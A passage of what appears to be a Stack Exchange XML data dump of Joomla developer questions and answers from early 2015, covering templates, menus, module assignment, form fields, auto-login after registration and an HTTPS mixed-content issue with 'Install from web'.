  <row Id="5904" PostTypeId="1" CreationDate="2015-01-06T13:07:06.197" Score="3" ViewCount="1048" Body="&lt;p&gt;I have created a Template, just as one should and everything works, just as it should, &lt;strong&gt;BUT&lt;/strong&gt; when I access the template through the template manager (not the template style) I get this warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Extension record not found in database&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7rQGc.png&quot; alt=&quot;Image of error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody any Idea how to get rid of it, or what the cause could be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Ahead!&lt;/p&gt;&#xA;" OwnerUserId="2246" LastActivityDate="2015-03-07T17:11:57.403" Title="Template—Extension record not found in database" Tags="|extensions|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5905" PostTypeId="2" ParentId="5899" CreationDate="2015-01-06T13:44:40.053" Score="3" Body="&lt;p&gt;To answer the actual question, this code will give you a listbox of UserIDs and Names.  Retrieving all the extra data would then just be a SQL select statement&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myGroupID = 2;  //Your User Group to list&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('a.id as value, a.name as text');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__users').' as a');&#xA;$query-&amp;gt;join('INNER', '#__user_usergroup_map as b ON b.user_id=a.id AND b.group_id='.$myGroupID);&#xA;$query-&amp;gt;order('a.name');&#xA;$db-&amp;gt;setQuery($query);&#xA;$MyUsers = $db-&amp;gt;loadObjectList();&#xA;$mt = new stdClass();&#xA;$mt-&amp;gt;value = '';&#xA;$mt-&amp;gt;text = 'Select the User Profile';&#xA;array_unshift($MyUsers, $mt);&#xA;echo JHtml::_('select.genericlist', $MyUsers, 'MyListboxName', 'title=&quot;Select from My List&quot;', 'value', 'text');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the selected ID from the list, use this SQL to get the Profile data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT a.*,b.* &#xA;FROM j32_users AS a&#xA;JOIN j32_user_profiles AS b ON b.user_id=a.id&#xA;WHERE a.id = &quot;selected ID&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-01-06T13:44:40.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5906" PostTypeId="2" ParentId="5904" CreationDate="2015-01-06T15:47:53.727" Score="2" Body="&lt;p&gt;Sounds to me like you might have &lt;em&gt;copied&lt;/em&gt; a template, and not installed it - that worked in earlier versions of Joomla, but not so in later versions.  Check &lt;a href=&quot;https://docs.joomla.org/Creating_a_basic_Joomla!_template&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; to be sure you covered all the bases.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the installation puts the record in the extensions database, so you either have not installed the template, or if you did, you may have left old values from the template you copied that should have been changed.  So - the extensions table may already have had a record that matched what you tried to install, or some other similar reason that the new extension record could not be added.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-01-06T15:47:53.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5907" PostTypeId="1" AcceptedAnswerId="5908" CreationDate="2015-01-06T16:11:27.627" Score="1" ViewCount="1179" Body="&lt;p&gt;I'm looking for a Booking extension/module with the ability to display a daily view with the ability to click and book specific hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something similar to the attached image.&lt;img src=&quot;https://i.stack.imgur.com/jZeBO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at all the popular extensions from Joomla.org but none of them seemed to fit my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't mind if it's a 3rd party plugin or a service that I can somehow integrated in my Joomla site, as long as it fits my needs.&lt;/p&gt;&#xA;" OwnerUserId="3450" LastActivityDate="2016-12-23T12:20:48.083" Title="Booking extension with hourly bookings" Tags="|extensions|extension-request|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5908" PostTypeId="2" ParentId="5907" CreationDate="2015-01-06T18:02:43.520" Score="2" Body="&lt;p&gt;I have the same requirement and use &quot;&lt;a href=&quot;http://joomdonationdemo.com/eventbooking/event-calendar&quot; rel=&quot;nofollow&quot;&gt;Event Booking&lt;/a&gt;&quot;.  The demo doesn't show it well, but think of each of your reservable time periods as an Event.  You can then create recurring events for whatever time periods you want and allow users to register for them.  We have TV studios that producers can reserve for 4 hour blocks.  Each of those blocks is set up as an event with a limit of 1 person that is allowed to register for it.  Once it's booked, there are no more vacancies for that &quot;event&quot;, and effectively unavailable to anyone else for reservation.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-01-06T18:02:43.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6909" PostTypeId="2" ParentId="5900" CreationDate="2015-01-07T12:14:19.903" Score="1" Body="&lt;p&gt;In the welcome page, you can check what Url is included as a hidden parameter. It is encoded with Base64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, it has aW5kZXgucGhwP0l0ZW1pZD0yNjM=. You can decode it (&lt;a href=&quot;http://www.motobit.com/util/base64-decoder-encoder.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.motobit.com/util/base64-decoder-encoder.asp&lt;/a&gt;) and get &quot;index.php?Itemid=263&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to define a return Url beyond the module parameters, you can just define a module override and fix the Url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;You can find the original layout in modules/mod_login/tmpl/default.php, and the return parameter in line 166.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;strong&gt;Module Layout Overrides&lt;/strong&gt; &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides#Module_Layout_Overrides&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Understanding_Output_Overrides#Module_Layout_Overrides&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-01-09T13:17:47.250" LastActivityDate="2015-01-09T13:17:47.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6910" PostTypeId="1" CreationDate="2015-01-07T12:14:52.553" Score="1" ViewCount="397" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/structure-a-navigation/menu-systems/bootstrapnav&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; extention to make my bootstrap menu. It works fine but I can't figure out why my menu doesn't support more than 2 levels (3 atleast). If I add a 3rd level to my submenu, it appears as if it's a 1st level.&lt;/p&gt;&#xA;&lt;p&gt;It is easier to look at the images bellow:&lt;/p&gt;&#xA;&lt;p&gt;Menu tree:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MkCA2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The second level (&amp;quot;two&amp;quot;) appears inside first level (&amp;quot;one&amp;quot;), but the third level doesn't show up here.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pNYx6.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DakFL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've searched for &lt;code&gt;max levels&lt;/code&gt; and &lt;code&gt;min levels&lt;/code&gt; at the module's definitions but didn't find anything to change it.&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-01-07T12:40:23.190" Title="Bootstrap Nav Module Multi Levels" Tags="|joomla-2.5|menu|bootstrap|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6911" PostTypeId="2" ParentId="6910" CreationDate="2015-01-07T12:40:23.190" Score="2" Body="&lt;p&gt;Bootstrap v2.3.2 menu, based on navbar, does not support more than 2 levels: &lt;a href=&quot;http://getbootstrap.com/2.3.2/components.html#navbar&quot; rel=&quot;nofollow&quot;&gt;http://getbootstrap.com/2.3.2/components.html#navbar&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-07T12:40:23.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6912" PostTypeId="1" CreationDate="2015-01-07T13:02:31.203" Score="1" ViewCount="258" Body="&lt;p&gt;I am storing some files in the MySQL database as BLOB. I would like to have a download possibility for the BLOB files in my view. All informations are accessible, but how can I download the file from the database according to the MVC model?&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2015-01-25T13:36:02.833" Title="Joomla database BLOB file download" Tags="|joomla-3.x|download|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6913" PostTypeId="1" AcceptedAnswerId="6918" CreationDate="2015-01-07T18:01:29.357" Score="0" ViewCount="406" Body="&lt;p&gt;I am new to Joomla and learning it. I have a page which I need to assign a module to. I follow the steps &lt;a href=&quot;https://joomla.stackexchange.com/a/4457/3425&quot;&gt;in this answer&lt;/a&gt; but when I scroll down to assign the module to the page I want it to be assigned it doesn't appear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option is selected that it appears only on pages I want it to appear on. Then below that I &lt;code&gt;Menu Selection&lt;/code&gt; and four tabs below that that list various pages. The page I am looking to assign the module to doesn't appear in that tab. How do I assign the module to a page? Or how do I make a page appear in one of those tabs so I can assign the module to it?&lt;/p&gt;&#xA;" OwnerUserId="3425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-01-07T20:58:35.907" Title="Assign a module to a page...but page doesn't show?" Tags="|joomla-2.5|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6914" PostTypeId="1" AcceptedAnswerId="6917" CreationDate="2015-01-07T18:22:12.950" Score="0" ViewCount="181" Body="&lt;p&gt;I want to create a specific page (e.g. On_Line_App.html), where the Javascript (Three.js) editor will run and show the WebGL content to the end user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I place it into a module then its rendering context is being clipped by the Joomla styling structure. I want it to cover the whole client area of browser. I'm looking for any way to change this styling, that would be valid solely for On_line_App.html page. The rest of the pages in the web site must retain the original styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a &lt;a href=&quot;https://docs.joomla.org/Using_the_Page_Class_Suffix_in_Template_Code&quot; rel=&quot;nofollow&quot;&gt;guide&lt;/a&gt; on how to do that, but it's a bit complicated for the novices. Is there any easier way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="3452" LastEditorUserId="115" LastEditDate="2015-01-08T03:00:58.960" LastActivityDate="2015-01-08T08:09:23.573" Title="Change styling for specific pages in Joomla 3.x" Tags="|joomla-3.x|php|css|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6915" PostTypeId="2" ParentId="6913" CreationDate="2015-01-07T19:23:28.653" Score="0" Body="&lt;p&gt;Just wanted to remind that, it is normally a menu that we assign the module not directly to the page, probably this is why you can not see it at the menus assginment tab. &lt;/p&gt;&#xA;" OwnerUserId="3452" LastActivityDate="2015-01-07T19:23:28.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6916" PostTypeId="1" AcceptedAnswerId="8828" CreationDate="2015-01-07T20:32:12.473" Score="2" ViewCount="1795" Body="&lt;p&gt;Simplified, I have a component with multiple views and a menu setup like the one below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home (this is also Joomla default page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Users&lt;/li&gt;&#xA;&lt;li&gt;Settings&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Admin &gt; Users is a view using the default,php with display(){...} and o/c a default.xml for the menu item.&#xA;This view also contains an edit.php form displayed via dispalyEdit(){} called edit.php.&#xA;This is all rather basic and working fine. However, if the edit form shows, the main menu goes and selects 'HOME', or what ever the Joomla default page is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I keep the main menu selection on 'Admin'? or in general, how to keep the parent selected even if the child view is NOT a menu item itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feels rather simple, but I can't find an answer. It seems pointless to add 'edit' to the menu as it can't be called from the menu. Any pointers?&lt;/p&gt;&#xA;" OwnerUserId="1950" LastActivityDate="2015-03-01T04:54:49.273" Title="How to keep parent menu item active for non-menu views?" Tags="|joomla-3.x|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6917" PostTypeId="2" ParentId="6914" CreationDate="2015-01-07T20:49:51.490" Score="2" Body="&lt;p&gt;If you are looking for a way to cover the whole client area of browser. The simplest way is to &lt;em&gt;create a new template for WebGL content&lt;/em&gt; and assign it to a specific page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start with an empty template and add all required resources. In this case, the base footprint is minimal and you do not have to fight against an underlying template to override everything.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-07T20:49:51.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6918" PostTypeId="2" ParentId="6913" CreationDate="2015-01-07T20:58:35.907" Score="2" Body="&lt;p&gt;Joomla is organized around menu items. For instance, if there is only a menu item for content to show articles, then all generated pages to navigate articles are going to have the same menu (Itemid).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up, if you want to assign a module to a specific page, you need a menu item for that page. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TIP: You can create a hidden menu, not shown in the site, just to single out a content item.&lt;/li&gt;&#xA;&lt;li&gt;ADVANCED TIP: Once you are familiar with the core organization, you can install a module manager like &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/style-a-design/modules-management/advanced-module-manager&quot; rel=&quot;nofollow&quot;&gt;Advanced Module Manager - NoNumber&lt;/a&gt; to assign modules according to several conditions beyond menus.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-07T20:58:35.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6919" PostTypeId="2" ParentId="6914" CreationDate="2015-01-08T08:09:23.573" Score="0" Body="&lt;p&gt;You can add custom CSS styling to the pages of your choice using a module called &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/style-a-design/templating/custom-css&quot; rel=&quot;nofollow noreferrer&quot;&gt;Custom CSS&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is to install the module and write your CSS overrides (add &lt;code&gt;!important&lt;/code&gt; to your styles if needed, e.g. &lt;code&gt;.mySelector {color:red!important;&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can hide any element using &lt;code&gt;display:none;&lt;/code&gt;, and control the vertical stacking of your elements using &lt;code&gt;z-index:1;&lt;/code&gt; if your elements overlap (higher numbers are placed above lower numbers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once your CSS is ready, publish the module to any available position, and make sure you set &quot;Menu Assignment&quot; only to the page you want to customize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information and other alternatives for styling specific pages can be found in &lt;a href=&quot;https://joomla.stackexchange.com/questions/5398/adding-custom-css-styling-on-some-of-my-pages&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;br&gt;&#xA;If you need to make substantial changes to your layout, @Anibal 's suggestion of creating a new template might be a better idea.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-01-08T08:09:23.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6920" PostTypeId="1" CreationDate="2015-01-08T08:25:45.180" Score="1" ViewCount="101" Body="&lt;p&gt;I am using TechJoomla's Common Payment API for my own component. (&lt;a href=&quot;https://techjoomla.com/common-payment-api&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://techjoomla.com/common-payment-api&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the demo component dosen't work. I have a more or less blank component as shown in the image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MgjGA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it that the API doesn't work with my Joomla version? I am using Joomla! 3.3.6 Stable [ Ember ].  Does anyone have a solution for this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also seems that Common Payment API dosen't have a good documentation to look to. I could be wrong, but if anyone does have the link to the documentation, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, does anyone know what is the most commonly used open source payment api for joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3456" LastEditorUserId="64" LastEditDate="2015-01-09T15:42:00.697" LastActivityDate="2015-03-29T15:07:18.913" Title="Regarding TechJoomla's Common Payment API" Tags="|component|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6921" PostTypeId="1" AcceptedAnswerId="6922" CreationDate="2015-01-08T11:08:30.320" Score="4" ViewCount="644" Body="&lt;p&gt;In my .xml file I created the following grouped list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;mylistvalue&quot; type=&quot;groupedlist&quot; default=&quot;&quot; label=&quot;Select an option&quot; description=&quot;&quot; multiple=&quot;true&quot;&amp;gt;&#xA;&amp;lt;group label=&quot;Color&quot;&amp;gt;&#xA; &amp;lt;option value=&quot;red&quot;&amp;gt;red&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;blue&quot;&amp;gt;blue&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;green&quot;&amp;gt;green&amp;lt;/option&amp;gt;&#xA;&amp;lt;/group&amp;gt;&#xA;&amp;lt;group label=&quot;Size&quot;&amp;gt;&#xA; &amp;lt;option value=&quot;small&quot;&amp;gt;small&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;medium&quot;&amp;gt;medium&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;large&quot;&amp;gt;large&amp;lt;/option&amp;gt;&#xA;&amp;lt;/group&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I output the selected values in my .php file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;type=&quot;list&quot;&lt;/code&gt; it works with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $params-&amp;gt;get('mylistvalue');?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;type=&quot;groupedlist&quot;&lt;/code&gt; with the option &lt;code&gt;multiple=&quot;true&quot;&lt;/code&gt; I only get the output: Array and not the selected values.&lt;/p&gt;&#xA;" OwnerUserId="3457" LastEditorUserId="1629" LastEditDate="2015-01-08T14:15:54.387" LastActivityDate="2015-01-08T15:36:34.843" Title="How to output a grouped list with multiple items selected in Joomla?" Tags="|joomla-3.3.x|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6922" PostTypeId="2" ParentId="6921" CreationDate="2015-01-08T11:45:46.297" Score="3" Body="&lt;p&gt;How do you store these values? Seems that is an array and should be displayed as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($params-&amp;gt;get('mylistvalue') as $value) : ?&amp;gt;&#xA;    &amp;lt;?php echo $value; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-08T11:45:46.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6923" PostTypeId="2" ParentId="5391" CreationDate="2015-01-08T11:51:20.233" Score="0" Body="&lt;p&gt;No point in re-inventing the wheel, just look at how some of the big frameworks, like T3, do this;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/t3framework/t3/blob/master/source/plg_system_t3/includes/gfont/T3GFont.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/t3framework/t3/blob/master/source/plg_system_t3/includes/gfont/T3GFont.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I really cant see why you would want to do this from within a module. Site styles, including font choices, &lt;strong&gt;should be determined by the template&lt;/strong&gt;. Doing it from within your module can only cause conflict with the wishes of the site owner (who picked the template, and the font styles that come with it.), so it is something that you should best avoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not something that modules should do.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-01-08T11:51:20.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6925" PostTypeId="1" CreationDate="2015-01-08T13:42:04.243" Score="1" ViewCount="1473" Body="&lt;p&gt;I have a site that requires users to register, which is pretty standard.  On registration the user is sent an email with a registration link.  They're fully registered when they click it and they can log in, but they're not logged in when they're directed back to the site by the link.  Is there a way to automatically log in the user when the click the registration link?  If it's relevant, the log in form was made with Chronoforms.&lt;/p&gt;&#xA;" OwnerUserId="3458" LastActivityDate="2015-01-08T14:44:44.203" Title="How to automatically log in a user after they've clicked the confirm registration link?" Tags="|login|registration|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6926" PostTypeId="2" ParentId="6925" CreationDate="2015-01-08T14:41:06.923" Score="3" Body="&lt;p&gt;I'm not real familiar with Chronoforms anymore, but if you can get this code in there somewhere, the user should be logged in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$credentials = Array('username' =&amp;gt; 'MyUsername', 'password' =&amp;gt; 'MyPassword');&#xA;JFactory::getApplication()-&amp;gt;login($credentials);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-01-08T14:41:06.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6927" PostTypeId="2" ParentId="6925" CreationDate="2015-01-08T14:44:44.203" Score="0" Body="&lt;p&gt;In theory, you can develop an authorization plug-in to authenticate the user with a confirmation link, detecting the change onUserBeforeSave / onUserAfterSave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you have to be very careful to avoid multiple logins based on a generic string sent by mail. Remember, there is no stored plain password in Joomla. &lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-08T14:44:44.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6929" PostTypeId="1" AcceptedAnswerId="6930" CreationDate="2015-01-08T16:32:50.953" Score="3" ViewCount="1114" Body="&lt;p&gt;When using Joomla through a secure conection (&lt;code&gt;https://example.com/administrator&lt;/code&gt;), the &lt;em&gt;Install from Web&lt;/em&gt; option in the Extension manager gives an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cannot connect to the Joomla! server. Please try again later.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Google Chrome Developer tools gives the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mixed Content: The page at&#xA;  '&lt;a href=&quot;https://example.com/administrator/index.php?option=com_installer&quot; rel=&quot;nofollow&quot;&gt;https://example.com/administrator/index.php?option=com_installer&lt;/a&gt;'&#xA;  was loaded over HTTPS, but requested an insecure script&#xA;  '&lt;a href=&quot;http://appscdn.joomla.org/webapps/index.php?format=json&amp;amp;option=com_apps&amp;amp;view=My3z&amp;amp;dev_level=Ng==&amp;amp;list=grid&amp;amp;pv=MS3wLjU=&amp;amp;callback=jedapps_jsonpcallback&quot; rel=&quot;nofollow&quot;&gt;http://appscdn.joomla.org/webapps/index.php?format=json&amp;amp;option=com_apps&amp;amp;view=My3z&amp;amp;dev_level=Ng==&amp;amp;list=grid&amp;amp;pv=MS3wLjU=&amp;amp;callback=jedapps_jsonpcallback&lt;/a&gt;'.&#xA;  This request has been blocked; the content must be served over HTTPS.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The error is also reported several times, e.g. &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/4878&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://github.com/joomla-extensions/install-from-web-client/issues/2&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and even said to be solved, but I just confirmed this behavior on several different Joomla 3.3.6 pages on different servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any workarounds? Or any particular reason why this still is an issue?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-02-09T11:46:52.870" Title="&quot;Install from web&quot; not working with SSL" Tags="|joomla-3.x|security|https|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6930" PostTypeId="2" ParentId="6929" CreationDate="2015-01-08T16:32:50.953" Score="3" Body="&lt;p&gt;I found a (partially) working solution, but it is a core hack, and thus not a good option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locate the file &lt;code&gt;plugins/installer/webinstaller/webinstaller.php&lt;/code&gt;, on change line 21:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $appsBaseUrl = 'http://appscdn.joomla.org/webapps/'; // will be https once CDN is setup for SSL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change it to &lt;code&gt;https://&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $appsBaseUrl = 'https://appscdn.joomla.org/webapps/';    // will be https once CDN is setup for SSL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Install from web&lt;/code&gt; tab will now work, but images still seems to be loaded through a non-secure connection, giving a &lt;em&gt;Mixed content&lt;/em&gt; error for every image:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mixed Content: The page at&#xA;  '&lt;a href=&quot;https://example.com/administrator/index.php?option=com_installer&quot; rel=&quot;nofollow&quot;&gt;https://example.com/administrator/index.php?option=com_installer&lt;/a&gt;'&#xA;  was loaded over HTTPS, but requested an insecure image&#xA;  '&lt;a href=&quot;http://extensionscdn.joomla.org/components/com_example/img/listings/s/40281.png&quot; rel=&quot;nofollow&quot;&gt;http://extensionscdn.joomla.org/components/com_example/img/listings/s/40281.png&lt;/a&gt;'.&#xA;  This content should also be served over HTTPS.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-08T16:32:50.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6932" PostTypeId="1" CreationDate="2015-01-08T18:32:44.427" Score="1" ViewCount="844" Body="&lt;p&gt;How can I run &lt;a href=&quot;http://www.openwebanalytics.com/&quot; rel=&quot;nofollow&quot;&gt;Open Web Analytics&lt;/a&gt; software through Joomla? Is there any plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in order to run piwik through Joomla you can use the plugin named nfrPiwik.&lt;/p&gt;&#xA;" OwnerUserId="3460" LastEditorUserId="3460" LastEditDate="2015-01-08T19:44:46.573" LastActivityDate="2015-01-08T20:20:47.410" Title="Open Web Analytics in Joomla" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6933" PostTypeId="2" ParentId="6932" CreationDate="2015-01-08T20:20:47.410" Score="2" Body="&lt;p&gt;You don't need a plugin for neither &lt;strong&gt;Open Web Analytics&lt;/strong&gt; nor &lt;strong&gt;Piwik&lt;/strong&gt;, the easiest way is to paste the provided tracking code directly into your template's &lt;code&gt;index.php&lt;/code&gt; file (&lt;code&gt;ROOT/templates/YOURTEMPLATE/index.php&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's usually a Javascript snippet, like the &lt;a href=&quot;http://demo.openwebanalytics.com/jstracker.php&quot; rel=&quot;nofollow&quot;&gt;example located here&lt;/a&gt;. OWA also has a &lt;a href=&quot;http://wiki.openwebanalytics.com/index.php?title=PHP_Invocation&quot; rel=&quot;nofollow&quot;&gt;PHP tracking code&lt;/a&gt; that can be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a quick look at the &lt;a href=&quot;http://extensions.joomla.org/extension/site-management/analytics/nfrpiwik&quot; 